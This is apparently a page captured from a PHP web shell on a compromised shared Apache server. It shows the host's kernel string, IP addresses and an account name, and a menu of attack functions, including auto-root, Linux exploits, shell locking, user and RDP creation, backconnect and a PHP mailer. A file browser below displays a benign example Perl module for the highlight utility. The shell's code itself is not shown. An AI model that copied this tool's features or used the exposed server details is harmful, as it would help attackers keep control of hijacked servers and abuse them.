Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
highlight /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README
1.15
KB
-rw-r--r--
highlight.php.gz
1.77
KB
-rw-r--r--
highlight.pl
2.74
KB
-rw-r--r--
highlight_pipe.php.gz
1.38
KB
-rw-r--r--
highlight_pipe.pm
1.51
KB
-rw-r--r--
highlight_pipe.py
1.26
KB
-rw-r--r--
syntax.php.gz
2.7
KB
-rw-r--r--
testmod.py
3.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : highlight_pipe.pm
package highlight_pipe; # This Perl package serves as interface to the highlight utility. # Input and output streams are handled with pipes. # Command line parameter length is validated before use. use IPC::Open3; my $hl_bin='highlight'; sub new { my $object = shift; my $ref = {}; bless($ref,$object); return($ref); } sub getResult { my $object = shift; my $src = shift; my @hl_args = (); my $option; while ( my ($key, $value) = each(%$object) ) { $option =" --$key"; if ($value ne "1") {$option .= "=$value"}; if (length($option)<50) { push (@hl_args, $option); } } local(*HIS_IN, *HIS_OUT, *HIS_ERR); my $childpid = IPC::Open3::open3(\*HIS_IN, \*HIS_OUT, \*HIS_ERR, $hl_bin. join ' ', @hl_args) or die ("error invoking highlight"); print HIS_IN $src; close(HIS_IN); # Give end of file to kid. my @outlines = <HIS_OUT>; # Read till EOF. my @errlines = <HIS_ERR>; # Read till EOF. close HIS_OUT; close HIS_ERR; waitpid($childpid, 0); if (@errlines) { die (join '\n', @errlines); } return join '', @outlines; } ############################################################################### # Sample code: # insert use statement in other perl scripts: #use highlight_pipe; my $html = highlight_pipe -> new(); $html->{'syntax'} ='c'; $html->{'fragment'} = 1; $html->{'inline-css'} = 1; $html->{'enclose-pre'} = 1; $html->{'style'} = 'edit-vim'; my $input='int main () { return 0; }'; my $output=$html->getResult($input); print "$output\n";
Close